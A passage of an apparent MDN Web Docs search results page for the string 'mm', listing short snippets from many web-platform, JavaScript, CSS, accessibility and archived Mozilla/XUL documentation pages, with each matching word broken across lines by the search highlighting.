mmary is a domstring containing a description of the purpose or the structure of the table.
...And 6 more matches
KeyboardEvent: code values - Web APIs
029 "backquote" "backquote" 0x002a "shiftleft" "shiftleft" 0x002b "backslash" "backslash" 0x002c "keyz" "keyz" 0x002d "keyx" "keyx" 0x002e "keyc" "keyc" 0x002f "keyv" "keyv" 0x0030 "keyb" "keyb" 0x0031 "keyn" "keyn" 0x0032 "keym" "keym" 0x0033 "co
mma" "co
mma" 0x0034 "period" "period" 0x0035 "slash" "slash" 0x0036 "shiftright" "shiftright" 0x0037 "numpadmultiply" "numpadmultiply" 0x0038 "altleft" "altleft" 0x0039 "space" "space" 0x003a "capslock" "capslock" 0x003b "f1" "f1" 0x003c "f2" "f2" 0x003d ...
...intlro" "" 0x0074, 0x0075 "unidentified" "" 0x0076 "f24" "" 0x0077, 0x0078 "unidentified" "" 0x0079 "convert" "" 0x007a "unidentified" "" 0x007b "nonconvert" "" 0x007c "unidentified" "" 0x007d "intlyen" "intlyen" 0x007e "numpadco
mma" "" 0x007f "unidentified" "" 0xe000 ~ 0xe007 "unidentified" "" 0xe008 "unidentified" "undo" 0xe009 "unidentified" "" 0xe00a "" "paste" 0xe00b ~ 0xe00f "" "" 0xe010 "mediatrackprevious" "mediatrackprevious" 0xe011 ~ 0xe016 "" "" ...
..."keyp" kvk_return (0x24) "enter" "enter" kvk_ansi_l (0x25) "keyl" "keyl" kvk_ansi_j (0x26) "keyj" "keyj" kvk_ansi_quote (0x27) "quote" "quote" kvk_ansi_k (0x28) "keyk" "keyk" kvk_ansi_semicolon (0x29) "semicolon" "semicolon" kvk_ansi_backslash (0x2a) "backslash" "backslash" kvk_ansi_co
mma (0x2b) "co
mma" "co
mma" kvk_ansi_slash (0x2c) "slash" "slash" kvk_ansi_n (0x2d) "keyn" "keyn" kvk_ansi_m (0x2e) "keym" "keym" kvk_ansi_period (0x2f) "period" "period" kvk_tab (0x30) "tab" "tab" kvk_space (0x31) "space" "space" kvk_ansi_grave (0x32) "backquote" "backquote" kvk_de...
...And 6 more matches
Sensor APIs - Web APIs
the sensor apis are a set of interfaces built to a co
mmon design that expose device sensors in a consistent way to the web platform.
... therefore, feature detection for sensor apis must include both detection of the apis themselves and defensive progra
mming strategies (see below).
...} defensive progra
mming as stated in feature detection, checking for a particular sensor api is insufficient for feature detection.
...And 6 more matches
Signaling and video calling - Web APIs
note: if you try out the example on glitch, please note that any changes made to the code will i
mmediately reset any connections.
... this example's server uses stringified json objects to co
mmunicate with its clients.
...every ice candidate describes a method that the sending peer is able to use to co
mmunicate.
...And 6 more matches
Rendering and the WebXR frame animation callback - Web APIs
kicking off the renderer thus looks like this: let worldrefspace; async function runxr(xrsession) { worldrefspace = await xrsession.requestreferencespace("i
mmersive-vr"); if (worldrefspace) { viewerrefspace = worldrefspace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, viewerstartorientation)); animationframerequestid = xrsession.requestanimationframe(mydrawframe); } } after getting a reference space for the i
mmersive world, this creates an offset reference space representing the position and orientation of th...
...120 hz—or 120 frame per second—displays are increasingly co
mmon, for example.
...see the webxr performance guide for reco
mmendations and tips that will help you ensure your performance is as good as it can be.
...And 6 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
this syntax is not reco
mmended for the same reasons that make using eval() a security risk.
...if this parameter is omitted, a value of 0 is used, meaning execute "i
mmediately", or more accurately, the next event cycle.
...function() { vcallback.apply(null, aargs); } : vcallback, ndelay); }; }, 0, 'test'); }()) ie-only fix if you want a completely unobtrusive fix for every other mobile or desktop browser, including ie 9 and below, you can either use javascript conditional co
mments: /*@cc_on // conditional ie < 9 only fix @if (@_jscript_version <= 9) (function(f){ window.settimeout = f(window.settimeout); window.setinterval = f(window.setinterval); })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof function?c.apply(this,a):eval(c)},t)}}); @end @*/ ...
...And 6 more matches
ARIA: listbox role - Accessibility
it is highly reco
mmended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free.
...it is reco
mmended that a checkbox, link or other method be used to select all items, and ctrl+a could be used as a shortcut key for this.
...supporting this key is strongly reco
mmended for lists with more than five options.
...And 6 more matches
@import - CSS: Cascading Style Sheets
chrome://co
mmunicator/skin/).
... list-of-media-queries is a co
mma-separated list of media queries conditioning the application of the css rules defined in the linked url.
...these conditional imports specify co
mma-separated media queries after the url.
...And 6 more matches
Using media queries - CSS: Cascading Style Sheets
name su
mmary notes any-hover does any available input mechanism allow the user to hover over elements?
...you can also combine multiple media queries into a single rule by separating them with co
mmas.
...if present in a co
mma-separated list of queries, it will only negate the specific query to which it is applied.
...And 6 more matches
font-variant - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric syntax font-variant: small-caps; font-variant: co
mmon-ligatures small-caps; /* global values */ font-variant: inherit; font-variant: initial; font-variant: unset; values normal specifies a normal font face; each of the longhand properties has an initial value of normal.
... <co
mmon-lig-values>, <discretionary-lig-values>, <historical-lig-values>, <contextual-alt-values> specifies the keywords related to the font-variant-ligatures longhand property.
... the possible values are: co
mmon-ligatures, no-co
mmon-ligatures, discretionary-ligatures, no-discretionary-ligatures, historical-ligatures, no-historical-ligatures, contextual, and no-contextual.
...And 6 more matches
<body>: The Document Body element - HTML: Hypertext Markup Language
tag omission the start tag may be omitted if the first thing inside it is not a space character, co
mment, <script> element or <style> element.
... the end tag may be omitted if the <body> element has contents or has a start tag, and is not i
mmediately followed by a co
mment.
... botto
mmargin the margin of the bottom of the body.
...And 6 more matches
<input type="file"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value attribute contains a domstring that represents the path to the s...
... additional attributes in addition to the co
mmon attributes shared by all <input> elements, inputs of type file also support the following attributes: attribute description accept one or more unique file type specifiers describing file types to allow capture what source to use for capturing image or video data files a filelist listing the chosen files multiple a boolean which, i...
...this string is a co
mma-separated list of unique file type specifiers.
...And 6 more matches
<input type="time"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
...nt time: </label> <input id="appt-time" type="time" name="appt-time" value="13:30"> you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var timecontrol = document.queryselector('input[type="time"]'); timecontrol.value = '15:30'; time value format the value of the time input is always in 24-hour format that includes leading zeros: hh:
mm, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent).
... if the time includes seconds (see using the step attribute), the format is always hh:
mm:ss.
...And 6 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
this element is most co
mmonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
... there are a number of other co
mmon types you'll come across.
...the co
mmon use of this attribute is to define the type of stylesheet being referenced (such as text/css), but given that css is the only stylesheet language used on the web, not only is it possible to omit the type attribute, but is actually now reco
mmended practice.
...And 6 more matches
Evolution of HTTP - HTTP
a lot of interoperability problems were co
mmon.
... in november 1996, in order to solve these annoyances, an informational document describing the co
mmon practices has been published, rfc 1945.
... pipelining has been added, allowing to send a second request before the answer for the first one is fully transmitted, lowering the latency of the co
mmunication.
...And 6 more matches
An overview of HTTP - HTTP
clients and servers co
mmunicate by exchanging individual messages (as opposed to a stream of data).
... the web server on the opposite side of the co
mmunication channel, is the server, which serves the document as requested by the client.
... a server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a db server, or e-co
mmerce servers), totally or partially generating the document on demand.
...And 6 more matches
Closures - JavaScript
in some progra
mming languages, the local variables within a function exist for just the duration of that function's execution.
...this has obvious parallels to object-oriented progra
mming, where objects allow you to associate data (the object's properties) with one or more methods.
... situations where you might want to do this are particularly co
mmon on the web.
...And 6 more matches
Object.freeze() - JavaScript
any attempt to do so will fail, either silently or by throwing a typeerror exception (most co
mmonly, but not exclusively, when in strict mode).
...existing properties in objects frozen with object.freeze() are made i
mmutable.
... a[0] = 1; // fails silently // in strict mode such attempt will throw a typeerror function fail() { "use strict" a[0] = 1; } fail(); // attempted to push a.push(2); // throws a typeerror the object being frozen is i
mmutable.
...And 6 more matches
JavaScript
javascript (js) is a lightweight, interpreted, or just-in-time compiled progra
mming language with first-class functions.
...functional progra
mming) styles.
... do not confuse javascript with the java progra
mming language.
...And 6 more matches
Digital audio concepts - Web media technologies
stereo audio is probably the most co
mmonly used channel arrangement in web audio, and 16-bit samples are used for the majority of day-to-day audio in use today.
...at the co
mmon sample rate of 48 khz (48,000 samples per second), this means each second of audio occupies 192 kb of memory.
...over the years, a large variety of codecs have been developed, several of which are co
mmonly used on the web.
...And 6 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes found 54 pages: # page tags and su
mmary 1 xslt: extensible stylesheet language transformations landing, web, xslt extensible stylesheet language transformations (xslt) is an xml-based language used, in conjunction with specialized processing software, for the transformation of xml documents.
... 2 co
mmon xslt errors xslt your server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml.
... 3 index index, reference, xslt found 54 pages: 4 pi parameters xslt no su
mmary!
...And 6 more matches
ui/frame - Archive of obsolete content
co
mmunicating with frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage().
... you can use this to co
mmunicate only with the specific frame instance that generated the event, and not to any frame instance attached to other browser windows.
... you can use this to co
mmunicate only with the specific frame instance that generated the event, and not to any frame instance attached to other browser windows.
...And 5 more matches
Release notes - Archive of obsolete content
details github co
mmits made between firefox 34 and firefox 35.
... details github co
mmits made between firefox 33 and firefox 34.
... details github co
mmits made between firefox 32 and firefox 33.
...And 5 more matches
XPCOM Objects - Archive of obsolete content
xpcom is the way in which the two layers (xulrunner and chrome) co
mmunicate.
... this._prefservice = cc["@mozilla.org/preferences-service;1"].getservice(ci.nsiprefbranch); this._prefvalue = this._prefservice.getboolpref("somepreferencename"); this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.addobserver("somepreferencename", this, false); this._prefservice.queryinterface(ci.nsiprefbranch); this is a co
mmon piece of code you'll see when initializing components or jsm that rely on preferences.
... some co
mmonly used xpcom methods require other xpcom types as parameters.
...And 5 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
repository: http://hg.mozilla.org/projects/nanojit-central (or clone ssh://hg.mozilla.org/projects/nanojit-central if you want to actually co
mmit changes) tinderbox: http://tinderbox.mozilla.org/showbuilds.cgi?tree=nanojit co
mmit log: http://hg.mozilla.org/projects/nanojit-central/shortlog/ irc channel: irc.mozilla.org #nanojit procedure the first thing to understand is that there are now three copies of nanojit in public mozilla.com repositories: one in nanojit-central, one in tracemonkey, one in tamarin-redux.
...the following files in tracemonkey are from nanojit: everything in js/src/nanojit/ everything in js/src/vprof/ scenario 0: a co
mmon prefix for all scenarios make private clones of all three repositories: nanojit-central, tracemonkey and tamarin-redux.
...once it passes review, land it on nanojit-central, mark the bug's whiteboard as fixed-in-nanojit, and note the revision in a co
mment.
...And 5 more matches
New Security Model for Web Services - Archive of obsolete content
if the sandbox is unable to distinguish the co
mmon uri substring of the domain to be trusted from similar uris of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources.
... using a declarations file a more robust solution is to rely on getting a file named "web-scripts-access.xml" in the root directory of the server that the sandboxed script requests to co
mmunicate with.
...since the co
mmands only allow access, the order of processing the "allow" co
mmands that were successfully parsed is never significant.
...And 5 more matches
New Skin Notes - Archive of obsolete content
the major problem it caused in cavendish skin - that they were out of the screen - is solved by making the sidebar smaller, which is not the right thing to do, imo (see my co
mment 1).--nickolay 02:11, 25 aug 2005 (pdt) yeah this is actually a problem with mw, rather than the skin -- they use a <br style="clear:both" /> in some pretty annoying places.
...--dria yeah, i think we want them off by default, as the more co
mmon case for a reader will be to read documentation, not to edit it.
...--
mmondor 12:25, 26 aug 2005 (pdt) what pages can you not find a logout link from, i see it on nearly all devmo wiki pages in the "upper right: along with "my talk" "preferences" etc.
...And 5 more matches
XML in Mozilla - Archive of obsolete content
several world wide web consortium (w3c) reco
mmendations and drafts from the xml family of specifications are supported, as well as other related technologies.
... supported core xml w3c reco
mmendations the core xml support includes parsing xml without validation (we use the expat parser), displaying xml with css, manipulating xml documents with scripts via dom, associating stylesheets with xml documents, and namespaces in xml.
...other notes a lot of the document object model (dom, w3c reco
mmendations and drafts) applies to xml.
...And 5 more matches
Creating XPI Installer Modules - Archive of obsolete content
chrome/ us/ us.jar chatzilla/ chatzilla.jar chrome.rdf chromelist.txt classic/ classic.jar co
mm/ co
mm.jar content-packs/ content-packs.jar embed-sample/ embed-sample.jar en-us/ en-us.jar en-mac/ en-mac.jar en-unix/ en-unix.jar en-win/ en-win.jar help/ help.jar inspector/ inspector.jar installed-chrome.txt messenger/ messenger.jar ...
...ingle manifest.rdf file described the resources in an entire package directory or archive, now contents.rdf files can be used for as large or as small a part of your package description as you want; you can use several contents.rdf files in your package to describe the various parts (e.g., one for the skin of your package, another for the content, and so on), or you can use a single one, as was co
mmon before.
...the barley package ui is a single xul window with an accompanying image: <?xml version="1.0"?> <?xml-stylesheet href="chrome://co
mmunicator/skin/" type="text/css"?> <window title="barley window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" width="175" height="375" x="20" y="20" persist="width height x y" orient="vertical" autostretch="always"> <script src="barley.js"/> <image src="barley.gif" /> <box orient="horizontal" autostretch="never"> ...
...And 5 more matches
Document Object Model - Archive of obsolete content
since it is one of the most co
mmonly referenced properties of the window, the document property is usually referenced without the 'window.' qualifier.
... retrieving elements the most co
mmon method to retrieve an element in a document is to give the element an id attribute and the use the document's getelementbyid() method.
... our find files example it doesn't make sense to have the progress bar and the du
mmy tree data displayed when the find files dialog is first displayed.
...And 5 more matches
The Implementation of the Application Object Model - Archive of obsolete content
if xul is dropped from the picture, then dialogs would have to be described using native widgetry (unless you're willing to design an html dialog system, which still wouldn't cut it without extending html), and co
mmunicator would have to ship with both widget sets.
...however, in this xpcom world, where each type of pluggable content is off in its own dll, there's no clean way to inherit functionality from some base class implementation, when that implementation must necessarily reside in a different dll, without introducing a code dependency between all pluggable content and the co
mmon base class.
... this inability to provide a cleanly inherited system argues for a different approach, namely that all content node implementations be the same kind of object, and that those objects co
mmunicate with their pluggable content through this new streamlined interface we talked about earlier.
...And 5 more matches
tab - Archive of obsolete content
attributes accesskey, afterselected, beforeselected, co
mmand, crop, disabled, first-tab, image, label, last-tab, linkedpanel, onco
mmand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, co
mmand, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... afterselected type: boolean this is set to true if the tab is i
mmediately after the currently selected tab.
... beforeselected type: boolean this is set to true if the tab is i
mmediately before the currently selected tab.
...And 5 more matches
toolbarbutton - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, co
mmand, crop, dir, disabled, dlgtype, group, image, label, onco
mmand, open, orient, tabindex, title, type, validate properties accesskey, accessibletype, autocheck, checkstate, checked, co
mmand, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <toolbar id="test-toolbar"> <toolbarbutton accesskey="p" label="plain"/> <toolbarbutton accesskey="c"...
... co
mmand type: id set to the id of a co
mmand element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 5 more matches
MacFAQ - Archive of obsolete content
to do this, type: xulrunner-bin --install-app /path/to/appdir note the path to your application must end with the directory containing application.ini; you should not reference application.ini in this co
mmand.
... this co
mmand will place a copy of your application in /applications/(vendor)/(name) , where (vendor) is the vendor field in your application.ini and (name) is the name field.
...for co
mmand-line work, you would call on: /applications/(vendor)/(name).app/contents/macos/xulrunner ui notes menus to enable your application quit co
mmand to work with the application menu (the one to the right of the blue apple), you need to give your quit menu item an id of "menu_filequititem".
...And 5 more matches
XULRunner tips - Archive of obsolete content
venkman uses "chrome://co
mmunicator/skin/" as an alias for "chrome://global/skin/" and this alias was maintained in the xulrunner toolkit until xulrunner 1.9 was released.
... when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin co
mmunicator classic/1.0 skin/co
mmunicator/ add a skin folder named "co
mmunicator" and add a single css file named "co
mmunicator.css" with this content: @import url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as...").
...s=no locale inspector en-us jar:inspector.jar!/locale/inspector/ skin inspector modern/1.0 jar:inspector.jar!/skin/modern/inspector/ skin inspector classic/1.0 jar:inspector.jar!/skin/classic/inspector/ overlay chrome://inspector/content/popupoverlay.xul chrome://inspector/content/viewers/dom/popupoverlay.xul overlay chrome://inspector/content/co
mmandoverlay.xul chrome://inspector/content/viewers/stylerules/co
mmandoverlay.xul overlay chrome://inspector/content/keysetoverlay.xul chrome://inspector/content/viewers/dom/keysetoverlay.xul overlay chrome://inspector/content/popupoverlay.xul chrome://inspector/content/viewers/stylerules/popupoverlay.xul overlay chrome://inspector/content/co
mmandoverlay.xul chrome://inspector/content/viewers/...
...And 5 more matches
What is RSS - Archive of obsolete content
you will not yet be creating your own rss files, but you will be seeing how rss is co
mmonly used and simple example rss files for these co
mmon uses.
...(although rdf-based rss formats exist, namely the deprecated rss 0.90 and rss 1.0.) co
mmon uses of rss syndication are for the syndication of news web sites, of blogs, of internet radio, and of internet television.
...it wasn't really a format for syndication, but was a format for providing a su
mmary of a website.
...And 5 more matches
Theme changes in Firefox 2 - Archive of obsolete content
file description of change browser/bookmarks/addbookmark.css updated to include microsu
mmary-related css changes.
... browser/bookmarks/bookmarksproperties.css new file; includes microsu
mmary-related css.
... browser/browser.css needs to be updated to include new css for microsu
mmaries, search fields, iconic bookmark menu items, and more.
...And 5 more matches
Browser Feature Detection - Archive of obsolete content
among the methods of browser detection, many people reco
mmend using the existence of specific properties or methods in a browser's dom to detect the browser type and whether it supports a given operation.
... test su
mmary standard netscape 7.0x firefox 1.5 safari 2 opera 7 / 8.5-9.0 internet explorer 6 / 7 dom core 1 100% 100% 100% 75% / 91% 75% / 75% dom core 2 100% 100% 100% 70% / 94% 58% / 58% dom 1 html 100% 100% 100% 100% / 100% 100% / 100% dom css 1 100% 100% 100% 100% / 100% 96% / ...
...& 7 opera 8.54 - 9.01 document.doctype true true true document.implementation true true true document.documentelement true true true document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createco
mment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.createattribute() true true true document.createentityreference()obsolete since gecko 7 (method present but only returns null: bug 9850) false false document.getelementsbytagname(...
...And 5 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascript code co
mmunicate with each other.
... the chapter assumes you are familiar with java progra
mming.
...when progra
mming in javascript, you can use a wrapper object to access methods and fields of the java object; calling a method or accessing a property on the wrapper results in a call on the java object.
...And 5 more matches
Examples - Archive of obsolete content
</p> </body> </html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - co
mments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> ...
...<h1>problem 2 - co
mments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>.
... </p> <p> this document contains inline css rules contained in a <code>style</code> element and surrounded by a co
mment and javascript contained in a <code>script</code> element and surrounded by a co
mment.
...And 5 more matches
Writing JavaScript for XHTML - Archive of obsolete content
the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in co
mments.
... this was co
mmon practice in html, to hide the scripts from browsers not capable of js.
... in the age of xml co
mments are what they were intended: co
mments.
...And 5 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
following standards is certainly not a new organizational phenomenon; organizations require their employees to follow co
mmon rules, or a co
mmon set of standards all the time.
... co
mmon development process as an organization matures, managers and engineers develop a fundamental understanding of the importance of requiring adherence to these processes.
...for example, if an organization is developing a web-based client, they may have to adhere to standards imposed by these organizations: ansi (american national standards institute ) atsc (advanced television systems co
mmittee ) ieee (institute of electrical and electronics engineers ) ietf (internet engineering task force ) irtf (internet research task force ) iso (international standards organization ) itu (international teleco
mmunication union ) oasis (organization for the advancement of structured information standards ) oma (open mobile alliance ), uni (unicode consortium ) w3c (world wide web consor...
...And 5 more matches
RDF in Mozilla FAQ - Archive of obsolete content
make sure that your web server // dishes it up as text/xml (reco
mmended) or text/rdf!
... var ds = rdf.getdatasource("http://www.mozilla.org/some-rdf-file.rdf"); // note that ds will load asynchronously, so assertions will not // be i
mmediately available alternatively, you can create one directly using the xpcom component manager, as the following code fragment illustrates: // create an rdf/xml datasource using the xpcom component manager var ds = components .classes["@mozilla.org/rdf/datasource;1?name=xml-datasource"] .createinstance(components.interfaces.nsirdfdatasource); // the nsirdfremotedatasource interface has the interfaces // that we need to setup the datasource.
... var remote = ds.queryinterface(components.interfaces.nsirdfremotedatasource); // be sure that your web server will deliver this as text/xml (reco
mmended) or text/rdf!
...And 5 more matches
Game promotion - Game development
competitions taking part in competitions will not only level up your gamedev skills and let you meet new devs to befriend and learn from — and it will also get you involved in the co
mmunity.
...continually publishing information about your games will help educate others, increase your reputation in the co
mmunity, and further improve seo.
... a further option is to publish monthly reports that su
mmarize all your progress — it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon — building buzz is always good.
...And 5 more matches
Audio for Web games - Game development
also note that playing and i
mmediately pausing your audio does not guarantee that a small piece of audio won't be played.
... volume progra
mmatic volume control may be disabled in mobile browsers.
...however, preloading is still useful — without it, there would always need to be some client-server co
mmunication required before playing can co
mmence.
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
— you'll keep seeing a co
mmon theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
... ui controls by ui controls, we mean the main parts of web documents that users interact with — most co
mmonly buttons, links, and form controls.
...for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you i
mmediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get.
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
— you'll keep seeing a co
mmon theme: the importance of using semantic html (sometimes called posh, or plain old semantic html).
... ui controls by ui controls, we mean the main parts of web documents that users interact with — most co
mmonly buttons, links, and form controls.
...for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you i
mmediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get.
...And 5 more matches
How to structure a web form - Learn web development
don't test the example with 2 or 3 of the versions unco
mmented — screenreaders will definitely get confused if you have multiple labels and multiple inputs with the same id!
... co
mmon html structures used with forms beyond the structures specific to web forms, it's good to remember that form markup is just html.
... as you can see in the examples, it's co
mmon practice to wrap a label and its widget with a <li> element within a <ul> or <ol> list.
...And 5 more matches
Debugging HTML - Learn web development
debugging doesn't have to be scary though — the key to being comfortable with writing and debugging any progra
mming language or code is familiarity with both the language and the tools.
...and html's element syntax is arguably a lot easier to understand than a "real progra
mming language" like rust, javascript, or python.
... the way that browsers parse html is a lot more permissive than how progra
mming languages are run, which is both a good and a bad thing.
...And 5 more matches
From object to iframe — other embedding technologies - Learn web development
active learning: classic embedding uses in this article we are going to jump straight into an active learning section, to i
mmediately give you a real idea of just what embedding technologies are useful for.
...this is great for incorporating third-party content into your website that you might not have direct control over and don't want to have to implement your own version of — such as video from online video providers, co
mmenting systems like disqus, maps from online map providers, advertising banners, etc.
...using this isn't really reco
mmended any more, as the same effect can be better achieved using border: none; in your css.
...And 5 more matches
HTML table advanced features and accessibility - Learn web development
previous overview: tables next in the second article in this module, we look at some more advanced features of html tables — such as captions/su
mmaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
... note: the su
mmary attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders.
... we'd reco
mmend using the <caption> element instead, however, as su
mmary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, revisiting an example we first met in the previous article.
...And 5 more matches
Making decisions in your code — conditionals - Learn web development
overview: building blocks next in any progra
mming language, the code needs to make decisions and carry out actions accordingly depending on different inputs.
... us to represent such decision making in javascript, from the choice that must be made (for example, "one cookie or two"), to the resulting outcome of those choices (perhaps the outcome of "ate one cookie" might be "still felt hungry", and the outcome of "ate two cookies" might be "felt full, but mom scolded me for eating all the cookies".) if...else statements let's look at by far the most co
mmon type of conditional statement you'll use in javascript — the humble if...else statement.
... as a final point, you may sometimes see if...else statements written without the curly braces, in the following shorthand style: if (condition) code to run if condition is true else run some other code instead this is perfectly valid code, but using it is not reco
mmended — it is much easier to read the code and work out what is going on if you use the curly braces to delimit the blocks of code, and use multiple lines and indentation.
...And 5 more matches
Manipulating documents - Learn web development
previous overview: client-side web apis next when writing web pages and apps, one of the most co
mmon things you'll want to do is manipulate the document structure in some way.
... objective: to gain familiarity with the core dom apis, and the other apis co
mmonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript.
...this is a "tree structure" representation created by the browser that enables the html structure to be easily accessed by progra
mming languages — for example the browser itself uses it to apply styling and other information to the correct elements as it renders a page, and developers like you can manipulate the dom with javascript after the page has been rendered.
...And 5 more matches
Client-side web APIs - Learn web development
when writing client-side javascript for web sites or applications, you will quickly encounter application progra
mming interfaces (apis).
... apis are progra
mming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other web sites or services.
... in this module, we will explore what apis are, and how to use some of the most co
mmon apis you'll come across often in your development work.
...And 5 more matches
Object-oriented JavaScript for beginners - Learn web development
previous overview: objects next with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented progra
mming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances.
... objective: to understand the basic theory behind object-oriented progra
mming, how this relates to javascript ("everything is an object"), and how to create constructors and object instances.
... object-oriented progra
mming — the basics to start with, let's give you a simplistic, high-level view of what object-oriented progra
mming (oop) is.
...And 5 more matches
Ember interactivity: Events, classes and state - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
... to create a header class to go with your header component, type this in to your terminal: ember generate component-class header this will create the following empty class file — todomvc/app/components/header.js: import component from '@gli
mmer/component'; export default class headercomponent extends component { } inside this file we will implement the event handler code.
... update the content to the following: import component from '@gli
mmer/component'; import { action } from '@ember/object'; export default class headercomponent extends component { @action onkeydown({ target, key }) { let text = target.value.trim(); let hasvalue = boolean(text); if (key === 'enter' && hasvalue) { alert(text); target.value = '' } } } the @action decorator is the only ember-specific code here (aside from extending from the component superclass, and the ember-specific items we are importing using javascript module syntax) — the rest of the file is vanilla javascript, and would work in any application.
...And 5 more matches
Componentizing our Svelte app - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
... eventually, we will split up our app into the following components: alert.svelte: a general notification box for co
mmunicating actions that have occurred.
... note: in the process of creating our first couple of components, we will also learn different techniques to co
mmunicate between components, and the pros and cons of each.
...And 5 more matches
Getting started with Svelte - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
...it's reco
mmended that you use the long-term support (lts) version.
... if you're using windows, you will need to install some software to give you parity with unix/macos terminal in order to use the terminal co
mmands mentioned in this tutorial.
...And 5 more matches
Working with Svelte stores - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
... repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can co
mmunicate with each other using props, two-way data binding, and events.
... in all these cases we were dealing with co
mmunication between parent and child components.
...And 5 more matches
Accessibility API cross-reference
the ipc mechanisms used by current generation api's are also not cross-platform, although co
mmunication for some cross-platform accessibility api of the future could be done through sockets.
... co
mmand a supporting section of the document, designed to be complementary to the main content at a similar level in the dom hierarchy, but remains meaningful when separated from the main content.
...<h> is also available but its use is not reco
mmended because of lack of suitable tools - and the heading level is undefined click on this thing and then click on the item for tooltip style help helpballoon n/a n/a n/a editable field that allows user to assign a key combination hotkeyfield n/a n/a n/a graphic that indicates something, such as an arrow indi...
...And 5 more matches
CSUN Firefox Materials
because firefox rethinks the web, and does away with many of the co
mmon annoyances that cause browsing to be difficult for ordinary people.
...in fact, the same keyboard co
mmands are still available, so users can become comfortable and productive right away.
